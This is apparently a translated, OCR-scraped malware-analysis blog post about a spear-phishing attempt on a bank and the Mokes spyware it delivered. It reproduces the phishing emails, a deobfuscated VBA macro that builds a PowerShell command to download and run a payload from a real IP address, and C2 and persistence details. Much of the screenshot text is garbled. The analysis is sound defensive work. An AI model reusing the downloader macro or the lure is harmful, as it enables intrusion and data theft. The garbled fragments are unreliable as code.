The APT Attempt
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With each passing year, serious cyber security breaches are being experienced
and institutions that learn from others’ experiences have started to pay more
attention to layered security architecture, to invest more in their employees
for behavioral analysis, monitoring technologies, and the ability to detect
and respond to advanced cyber attacks. Over the years, the failure of the
classical security approach (antivirus, firewall, ips, etc.) to detect cyber
attackers and prevent them has led organizations to collect (SIEM) records
from more resources and to produce meaningful, valuable alarms (correlation)
from them. Advanced cyber attacks (APT) that used to be read in threat
reports have started to turn into a nightmare that institutions cannot wake
up from.

As announced through written and visual media, Akbank announced a few months
ago via the Public Disclosure Platform (KAP) that it had been subjected to a
cyber attack. Although the development and outcome parts were different, HSBC
Turkey had also shared with the public that it had experienced a cyber attack
in 2014. Looking at it today, it is an undeniable fact that, like in the
world, banks in our country (including those not reflected in the media) are
faced with advanced cyber attacks, so in order to combat organized cyber
crime organizations like Carbanak, Odinaff, who steal nearly $1 billion from
financial institutions with advanced cyber attacks, financial institutions,
banks should continue their work and investments in technology, education,
and human resources beyond regulations and security standards without slowing
down.

Nowadays, if a bank is being hacked, it’s highly unlikely that the
perpetrators are a group of 3-5 amateurs just starting out, so it wouldn’t be
the right approach to trivialize such advanced cyber attacks with comments
like, “Even my antivirus detects the harmful macro.” However, just like in
plane crashes, the fact that we encounter this situation as a result of a
chain of mistakes is an important issue that needs to be carefully examined
and lessons learned for everyone after every hacking case. With this article,
I decided to help readers to evaluate and interpret a failed APT attempt.

This story begins with the assumption that an academic’s email account at the

London School of Economics was hacked. The malicious person attempts to carry
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out a social engineering attack via email to a single person carefully
selected from the target institution. To avoid arousing suspicion in the
targeted person, one email is sent initially. The fact that the person
sending the email is indeed an academic working at that university, that the
email address (w.frost@lse.ac.uk) truly belongs to that person, that there is
no suspicious attachment or link in the first sent email, and that the words
are carefully chosen and the email is well-constructed, clearly reveals the
motivation of the malicious person or people. In the last email sent by the
malicious person, the targeted person is asked to download
(http://moya.bus.miami.edu/~emil/Documents/Application Form.doc) and fill out
a form. This email, which fails to reach the targeted person due to the
precautions taken, triggers alarms in many systems, primarily the FireEye
security system, starting the process of manual examination of the suspicious
email by the corporate SOC team.

My name is . I work at the London School of Economics.

I am the head of the jury panel of contests organized by The Banker: http-//www thebanker com/
Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporations.
Recently, one place in the expert group has become vacant

‘We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: http://www.thebanker com/Awards/Islamic-Bank-of-the-Year-Awards
They must have the experience in banking service and sufficient knowledge at the specifics of the region.

It's great honor for me to invite you to join our team.
Are vou interested in participation?

Best,

The Banker Awards contest is held not the first time. Best scientists of the University College London, University of Miami School of Business Administration and other universities are the main experts.
Jury panel is regularly updated.

External advisor group consists of 20 people — there is one vacant place now.

You will have to answer the set of questions regarding nominees of Islamic Bank of the Year Awards. It is essential for more precise of candidates in each

Az the average, it may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities

In return, you will get the certificate of the honored contest expert, and prospect for further development in this direction.
In next 3 weeks, we will need your assistance. If it goes well, we will proceed cooperation in 2017,

‘What do you think?

Best,

Foremost, you have to fill out and send me the Expert application form:
http-//mova.bus.miami_ edu/—emilDocuments/Application Form.doc *

Further, I will prepare the NDA. After that, [ will send vou first questions.

When you download the Application Form.doc file and open it with Microsoft

Best,

Office software, you encounter the warning message “Some active content has
been disabled”, but as in my article titled Microsoft Office Macro Analysis,
you can’t see any content related to the macro from the Macro menu (view ->
macros -> view macros) because this malicious macro is included in the file
as an ActiveMime object (OLE containing a macro compressed with zlib), as in
the Dridex banking malware outbreak. Naturally, you are not surprised when
you upload the Application Form.doc file to the VirusTotal site and no
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antivirus software can detect this file as malicious (0/53).
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| SECURITY WARNING Some active content has been disabled. Click for more details. Enable Content x

Form number: 000034/16

Expert Application Form

This form is processed automatically. Please use appropriate fields for your answers.
Name |i|

Phone |i|
E-mail |i|

Q1. How long have you been working in the Banking field?

w | Lessthana w | 1year- 3 years w | 3 years-7 years w | Morethan7
year |_| u u years

Q2. What is your specialty?
L]

Q3. How would you rate you team working skills?

|i| Very good |i| Good m Satisfactory M Fair

Q4. How much time can you spend on the Cooperation tasks per week?

s | 2-3 hours w | 4-6 hours = | 7-9 hours | Morethang
4] ] %] [ ore

Q5. Do you have any professional certificates?

Mo

Application_Form.doc 1,503 characters (an approximate value),

ten{
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@ Security Alert - Macros & ActiveX

Macros & ActiveX D0
Macros and one aor more ActiveX controls have been disabled, This active content
might contain viruses or other security hazards, Do not enable this content unless
you trust the source of this file,

Warning: It is not possible to determine that this content came from a trustworthy
source. You should leave this content disabled unless the content provides critical
functionality and you trust its source,
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When you open the Application Form.doc file with the Notepad++ editor, the
editdata.mso file will immediately catch your attention, aside from the
embedded xml, jpg, html, png files. You can easily access the macro when you
unhide this data, which is hidden with Base64, and then examine it with the
oledump tool that comes with REMnux. When you examine the macro with any
editor, you can see that it is obfuscated, and after simplification, it is a
PowerShell script, and after being downloaded as
http://45.63.22.17/image27.ico, it is renamed as teds.exe and executed.
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application/x-mso

Mormal text file
—C

File Edit Tabs

- P _: R | root@remnux: /h T3

Help

root@remnux:
13 513 'PROJECT'

2

3: M 18168 'VBA/ThisDocument'

4: 4742 'VBA/_VBA_PROJECT'

5: 776 'VBA/dir'
root@remnux:
mso > editdata.txt
root@remnux:

length: 214.311 lines: 3.927 Ln:3923 Col:30 Sel:4|1 Windows (CRLF)  AMNSI INS
root@remnux: fhome/remnux/Desktop/malware -0 x

/home/remnux/Desktop/malware# oledump.py editdata.mso

41 'PROJECTwm'

/home/remnux/Desktop/malware# oledump.py -s 3 -v editdata.

/home/remnux/Desktop/malware# [
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1 editdata.txt

tehkjdgjasie)
tethngasill
ghdalln = "://°’ $
tehkjdgjas(2)
tehkjdgjas(3)
gwuehhdnndnd =
tehkjdgjas(4)
tehkjdgjas(5)
tehkjdgjasie)
tehkjdgjas(7)
igwhdnnc = "Clien
tehkjdgjas(8)
tehkjdgjas(9)
tehkjdgjas(1@)
tehkjdgjas(11)
tehkjdgjas(12)
tehkjdgjas(13)
tehkjdgjas(14)
tehkjdgjas(15)
tehkjdgjas(16)
tehkjdgjas(17)
tethngasilal =
uagsnkasd = ct($hKJGk5d+$0qwehd)) ('Do"+'wnl"”
tehkjdgjas(19)
tehkjdgjas(2e)
tehkjdgjas(21)
tehkjdgjas(22)
tehkjdgjas(23)
tehkjdgjas(24)
tehkjdgjas(25)
tehkjdgjas(ZB)
hdnklasld = "oa
tehk]dg]asi2?l

KJGk5d='Net.';$oqwehd='ﬁeb“

dk + jahdk + ughnnnnx + gyisdl + ghdalln

; (New-0bje”

=Z_E_H'—_|D.I_CJ_'D= -@r—':"—'.ﬂ

| [ (| T O [ [
Ad33dd585

f 1le ).invoke('htt'+5jok+'45.

| = | T T I I

e dddnisdd

i[.[mot@...]][- mot@r...]][@ [Mozill...m‘ | malware]]@editda...] T "’. 06:09 .
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Private Sub document_open()

Dim X As Integer, I As Integer, tehkjdgjas(51) As String, iuytfdcas(31) As String, @
Gbvdfff(9) As String

Dim oiuytfcx As String, iuytgffffff As Boolean, Count As Long, T As Long

asuidk = "cm"

jahdk = "d /fc powers"

ughnnnnx = "hell -c % HHsad={$enu:temp”

gyisdl = "+'}I $jok="p"

ghdalln = ": sd "Met. " ;Soqwehd="Web"

qwuehhdnndné asu1dk + jahdk + ughnnnnx + gyisdl + ghdalln
igwhdnnc = "Client’; (New-0Obje"

uagsnkasd = “ct($hKJGk5d+$0qwehd)).('Do'+'wn11

hdnklasld = "padf'+"ile').invoke('htt'+%$jok+clear

'45."

ashdnkln =|"63.22.17/image2"

ansjnasld = |"7.1ico’ JsyHHsad) ; Invoke-Item($yHHsad)"

Shell gwuehhdnndnd + igwhdnnc + uagsnkasd + hdnklasld + ashdnkln + ansjnasld, @
End Sub

'Password Generation and recovery protocol, for FDF Databases’®
'{c) 2811 FDF Holdings corp'

'written by Jesse Fender, all rights reserved’

'To be used by FDF Software only!’

'| Data Password Generator and Recovery, Recovery may not work at
'| first but will be implemented later on in Time...

o Nig 06:23 1@

|

As we often see in APT-focused cyber attacks, the fact that the teds.exe file
is also digitally signed with a certificate that we believe belongs to a
stolen company clearly shows that the malicious persons have resorted to this
method in order to bypass the software performing application control. When
you upload the teds.exe file to the VirusTotal site, this time you can see
that 2 antivirus software detected this file as malicious software.



General | Details | Certification Path |

|_a Certificate Information

This certificate is intended for the following purpose(s):

. * Ensures software came from software publisher
» Protects software from alteration after publication

* Refer to the certification authority's statement for details.

Issued to: LLC Agera Lab

Issued by: GlobalSian Extended Validation CodeSigning CA -
SHAZ56 -G3 L]

Valid from 10, 10. 2016 to 11. 10. 2017

[Install Certificate... | | Issuer Statement |

Learn more about certificates

Lok ]

Go g]e "llc agera lab” y Q

All Images Videos Shopping MNews More Settings Tools

About 120,000 results (0.99 seconds)

Mo results found for "llc agera lab™.

Results for llc agera lab (without quotes):

Agera

www.ageralabs.com/ ~

Leading distributor of wholesale skincare and clinical skincare to dermatologists, plastic surgeons
and spas. Chemical Peels, Extreme Anti-Aging and Acne .

Agera Laboratories Inc.: Private Company Information - Businessweek
www.bloomberg.com/research/stocks/private/snapshot. asp?priveapld=28692309 ~

Agera Laboratories Inc. company research & investing information. .. Company COverview of Agera
Laboratories Inc. ... 4Life Research, LLC, United States ...
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After being executed, the teds.exe, which is packed with UPX, copies itself
under the name of mozillacache.exe, nacl32.exe, hpprint.exe, hpscan.exe
skypehelper.exe, dropboxhelper.exe, acrobroker.exe to one of the Adobe,
Mozilla/Firefox, Google/Chrome, Dropbox, Skype, Hewlett-Packard folders in

the %APPDATA% directory, and then runs. As soon as it is executed, the first

thing it does is to send a heartbeat message by making a request to

http://91.121.120.198/v1, indicating a location in France.
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Address |Disassembly string -
0040070F |mov dword ptr ds:[123FB98] ,eax T |—
0040030F | mov dword ptr ss:[esp],nacl3z.unpacked.D2B000 "1ibgcc_s_dwz2-1.d11" _I
00400325 | mov dword ptr ss:[esp],nacl3z.unpacked.D2B000 "libgcc_s_dwz-1.d11"
00400340 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013 __register_frame_info™
00400355 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B029 deregister_frame_info™
00400528E | mov dword ptr ss:[esp],nacl32.unpacked.D9B041 "libgcj-16.d11"
00400940 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F "_Jv_RegisterClasses"”
0040130F |mov dword ptr ds:[123FB98] ,eax e
0040150F | mov dword ptr ss:[esp],nacl3z.unpacked.D9B000 "libgcc_s_dwz-1.d11"
00401525 | mov dword ptr ss:[esp],nacl3z.unpacked.D3B000 "libgcc_s_dw2-1.d11"
00401540 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013 "__register_frame_info™
00401558 | mov dword ptr ss:[esp+4],nacl132.unpacked.D9B029 "__deregister_frame_info"
00401588 | mov dword ptr ss:[esp],nacl32. unpacked.D9B041 "libgcj-16.d11"
00401540 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F "_Jv_RegistercClasses"”
00401CED | mov dword ptr ss:[esp+4],nacl3z.unpacked.D2B080 "SetThreadErrorMode”
00402FE7 |mov dword ptr ss:[esp],nacl3z.unpacked.D9B180 "SkypeHelper™
00402082 |mov dword ptr ss:[esp],nacl32.unpacked.D9B18C "DropboxHelper™
004020CA | mov dword ptr ss:[esp],nacl32. unpacked.D9B19A "bin"
004021EE | mov dword ptr ss:[esp],nacl22.unpacked.D9B19E "nacl3z2"
004031CF |mov dword ptr ss:[esp],nacl3z.unpacked.D9B1AS "Chrome"
004032C0 | mov dword ptr ss:[esp],nacl32.unpacked.D9B1AC "mozillacache™
00403204 | mov dword ptr ss:[esp],nacl3z.unpacked.D9B1B9 "Firefox"
004033C5 (mov dword ptr ss:[esp],nacl3z.unpacked.DIB1C1 "AcroBroker™
00402303 | mov dword ptr ss:[esp],nacl32.unpacked.D9B1CC "Acrobat"
004024CA | mov dword ptr ss:[esp],nacl22. unpacked.D9B1D4 "hpprint™
00402580 | mov dword ptr ss:[esp],nacl22.unpacked.D981DC "hpscan"
00404EFS| cmp edi,nacl3z. unpacked DIEG44 "http: //91.121.120.198/v1"
00404FFS | mov dwur‘d ptr ss:[esp+4] ,nacl3z.unpacked.D9E5AD " SO0, exe”
004055F2 ( mov dword ptr ss:[esp],nac132.unpacked.D935AE Skt
00405C24 | mov dword ptr ss:[esp+ic],nacl32.unpacked.D9B67C &"http: //91.121.120.198/v1"
004050320 | cmp eax,nacl32.unpacked.D9BE44 "http: /,/91.121.120.198/v1"
0040612C | mov dword ptr ss:[esp],nacl13z.unpacked.D9B700 L"urlmon.d11™
00406146 | mov dword ptr ss:[esp+4],nacl3z.unpacked.D9B716 "obtainuUserAgentstring™
004062E0 | mov dword ptr ss:[esp],nacl32.unpacked.D9B72C "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOwW&4; Trident
00406ACD | mov dword ptr ss:[esp],nacl32.unpacked.D9B77F "Close™
00406AEL | mov dword ptr ss:[esp],nacl32.unpacked.D3B785 "Connection™
DD4D¢C'«‘E mov dword ptr ss:[esp],nacl32.unpacked.D9B730 "Accept Language"
Z2 | mov dword ptr ss:[esp],nacl2z.unpacked.D9B774 "User-aAgent™
z|mov edi,nacl3z.unpacked.D3B7TAS “GET™"
mov eax,nacl3z.unpacked.DIBFAD
mov dword ptr ss:[esp+l4],nacl32.unpacked.D9B7FS
mov dword ptr ss:[esp+C],nacl3z.unpacked.D3B7AS
mov dword ptr ss:[esp+4],nacl32.unpacked.D3E7E2 g
mov dword ptr ss:[esp+4],nacl32.unpacked.D9B7BS ryn® -
e | 3
Search: (['ype here to filter results. .. [] Regex
r i e e e L ——— 5009
Command: Default
| Paused  |Breakpoint at 00402FDO set! | Time Wasted Debugging: 0:00:31:29
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File Edit Jump Search View Debugge Dpt'rons id Help
BEl e B0 S ) o DO it # w X[ > O O oawndebhgeer -] %[F) H T
S e e e e e e eaeee o (G o ——- 0 -

_. Library function [ Data [l Regular function Unexplored [l Instruction Il External symbol

Funcﬁonswindow O & x | I.D... |:| | I.D... |:| | E St m | @ He... |] | St... |:J | lEn. |:J I +E| Im... |:J ‘B
Function name Segr * || Address Length Type  String =
(7] nullsub_1 AT = . date:00D980E0 L

sub_401170 text ‘s’ .rdata:00D9B0D0 00000016 unic... :/keys/bot

start text “s'| .rdata:00D9B110 0000001A unic... kernel32.dll

sub_401500 et ‘s’ .rdata:00D9E150 00000024 unic... Microsoft/Windows

sub_401600 et “s’| .rdata:00D9B1F4 00000006 unic... Y

sub_401630 ded [S] .rdata:0009B20C 00000004 unic.. copy

sub_401600 ket ‘s’ .rdata:00D9B228 00000006 unic... /C
Lf| sub_401710 dedt | rdata:00D9B250 00000010 unic.. cmd.exe

sub_4017E0 et s rdata:00D9B270 00000004 unic.. tmp

sub_401AS0 et s rdata:00D9B290 00000010 unic.. avp.exe

sub_401B60 et rdata:00D9B2B0 00000014 unic... explorer.exe

sub_401E70 dext *s'| rdata:00D9B2ZF0 0000001C unic.. dwservice.exe

sub_401B80 et Fs] .rdata:00D9B330 00000014 unic.. dwengine.exe

sub_401B30 disy] Fs] .rdata:00D9B35C 00000004 unic.. .exe

sub_401BE0 text s .rdata:00D9B390 00000020 unic.. Hewlett-Packard

sub_401C00 et Fs] .rdata:00D9B3D0 00000020 unic... Hewlett-Packard

sub_401CB0 et Fs] .rdatz:00D9B400 0000000C unic.. Adobe

sub_401CC0 dext Fs] .rdat:00D9B430 00000010 unic.. Mozilla
7] sub_401D60 ted I [5] .rdata:00D9B450 0000000E unic... Google
7| sub_401DD0 tet | [S] .rdatz:00D9B470 00000010 unic.. Dropbox
Lf | sub_401ECO et Fs] .rdat2:00D9B490 0000000C unic... Skype
|| sub_401F10 dedt T ER cdataiNNGRARN AOOONNNE vinic__ Run e
1, . 3 4 m 3
Line & of 26633 Linel of 6918
Outputwindow O f x
IEnPython vl.7. l] final (59;131 a) (c) The IDnPylL:hon Team (1dapythun@googlégroups com> it

Command “'MakeAscii™ failed
Command “‘MakeAscii failed D
Command “Makefscii” failed

a4

Down Disk: S5GB
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If you continue to research the character strings in the malicious software,
you can quickly understand that this malicious software is a spy software
named Mokes, which can record sound, image, and keystrokes, and targets

Linux, Windows, macOS operating systems, discovered by Kaspersky at the
beginning of 2016.


https://securelist.com/blog/research/73503/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/
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| Library function [ Data I Regular function  Unexplored [l Instruction [l External symbol

Functions window 08 x|[FEo.0 | Roc. 0 [Fo. 0 [BHse. 0 [ Bre. @ | Bse. 0 [ Be. B[
Function name Segr * || inction Instruction =
z nullsub_1 et |J 1b_401500 mov  [esp+38h+|pModuleMame], offset alibgee_s_dw2l_; "libgoc_s_dw2-1.dII" |—|
z sub_401170 Jtext 1b_401500 mov  [esp+38h+IpModuleMame], offset alibgoc_s_dw2l_; "libgoc_s_dw2-1.dII"

E start text 1b_92C9F0 and edx, offset aGocRevl BuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...

z sub_401500 et 1b_92CELO0 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1
E sub_401600 text ib_92CFEQ and  edyx, offset aGccRevl BuiltBy ; "GCC: (Revd, Built by MSYS2 project) 6.1"...

z sub_401630 et b 920190 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...

z sub_401600 text | add ebx, offset aZEkoms3rdparty ; "Z:/Ekoms/3rdparty/qt/bot-main-win32-gcc”
z sub_401710 et ; CHAR alibgee_s_dw2l_[]

z sub_4017E0 et db 'win32-gcc/lib/engines'0

z sub_401A80 Jdext db 'win32-gcc/private’,0

z sub_401B60 Jtext db 'win32-gec',0

E sub_401B70 Jtext db ‘win32-gcc/certs',0

z sub_401B80 Jtext db 'win32-gco/cert.pem’,0

z sub_401B30 et _ db 'static release build; by GCCB81.0)"

M1+ scaone et db '-gec',0

-

1) [y

1 [

aGecRevl Built 0 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevlBuilt 1 db 'GCC: (Revl, Built by MSY52 project)’
.'rr. Graph overview O & x aGecRevl Built_2 db 'GCC: (Revl, Built by MSYS2 project)’

{ s
-
m
(V%)
g,
%
[uv)

aGecRevl Built_3 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevl Built_4 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevl Built_5 db 'GCC: (Revl, Built by MSYS2 project)’

aGccRevlBuilt_6 db 'GCC: (Revl, Built by M5Y52 project)’ -
4 [ [l | »
Line 7 of 1439
Output window O & X
apply_callee_type_pluginzrun 2
ApplyCalleeType: Starting up
ApplyCalleeType: Using ea: Bx809c8f11 L
ApplycalleeType: Cannot (or shouldn't) run when call optype is o_near (4
Pattern “gcc™ was not found. 5

Disk: 5GB

File ‘Edit Jump  Search View Debugger Options Windows Help
BH e S 3 ) D ek F w X P O O |l Wnszdebugor . v] el [H) | @ B B
SO 1 1 (L]

| Library function [ Data [ Regular function  Unexplored [l Instruction [l External symbol

(7] Functions window 08 x|[En.0 [ Roe. 0 | Eo.0 | Bst. 8 [Tre. @ [[Bse. 0 [ Den. 0[P
Function name Segr * || Address Length Type  String =
[#] nullsub_1 et || 5] .rdat=:00D9B4B0 00000008 unic.. Run (4
z sub 401170 et E .rdata:00D3B4 00 0000001E unic... CurrentVersion
E start text s’ .rdata:00D9B510 00000010 unic., Windows
z sub_401500 text E .rdata:0009B530 00000014 unic... Microsoft
E sub_401600 Jtext ‘s’ .rdata:00D9B570 00000012 unic.. Software
z sub_401630 et [s] .rdata:00D9ESD0 00000010 unic,., dd*.ddt
z sub_401600 text s’ .rdata:00D9B5F0 00000010 unic.. kk*.kkt
E sub_401710 text E .rdata:0009B510 00000010 unic... aa*.aat
z sub_4017E0 et “s’| .rdata:00D9B630 00000010 unic... ss*.sst
z sub_401A80 text [s] .rdata:00D9B6B0 00000024 unic... ddMMyy-HHmmss-zzz
z sub_401B60 text ‘s’ .rdata:00D3B6F0 0000000E unic... ddMMyy
z sub_401B70 Jext [S] .rdata:00D9B850 00000032 unic... application/octet-stream
z sub_401B80 text ‘s’ .rdata:00D9BEE0 00000014 unic.. Content-Type
z sub_401B30 deut | I'—i .rdata:0009B330 00000018 unic.. aa%l-%2.aat
:T R o “s’| .rdata:00D9B970 00000014 unic... audio/pcm
- ‘s’ .rdata:00D9BIF0 00000004 unic.. JPEG
LiDEE o0 5] .rdstz:00DIBOFO 00000012 unic... k%l kkt
%, Graph overview 0 & x ||[s] .rdata:00DIBEI4 00000006 unic... Jin
B : [5] .rdata:00D9BE2C 00000008 unic.. nhn[
‘s’ .rdata:00D9BE44 00000004 unic.. Ox%l
[S] rdat2:00D9BE6D 00000008 unic.. f%1
“s'| .rdata:00D9BETE 00000004 unic... zoom %
4 | (1 3
gece: not found
Outputwindow O & x
apply_callee_type plugin:run &

ApplyCalleeType: Starting up

ApplyCalleeType: Using ea: BxB09c8fid L
ApplycalleeType: Cannot (or shouldn’t) run when call optype is o_near (4
Pattern “gcc™ was not found. i

A0: _idle | Down Disk: 5GB



In conclusion, those APT groups that you read about in threat reports from
security companies like Kaspersky, and say “Wow, look what they’ve done, how
did they do it..” while reading, may actually be targeting you and your
institution. Before postponing your investments in security technologies,
training, and human resources to the next year, it would be beneficial to

think again, and again, and again.

Note: This article also contains the solution path for the “Pi Hediyem Var

#10 cybersecurity game.”>


https://www.mertsarica.com/pi-hediyem-var-10/
https://www.mertsarica.com/pi-hediyem-var-10/

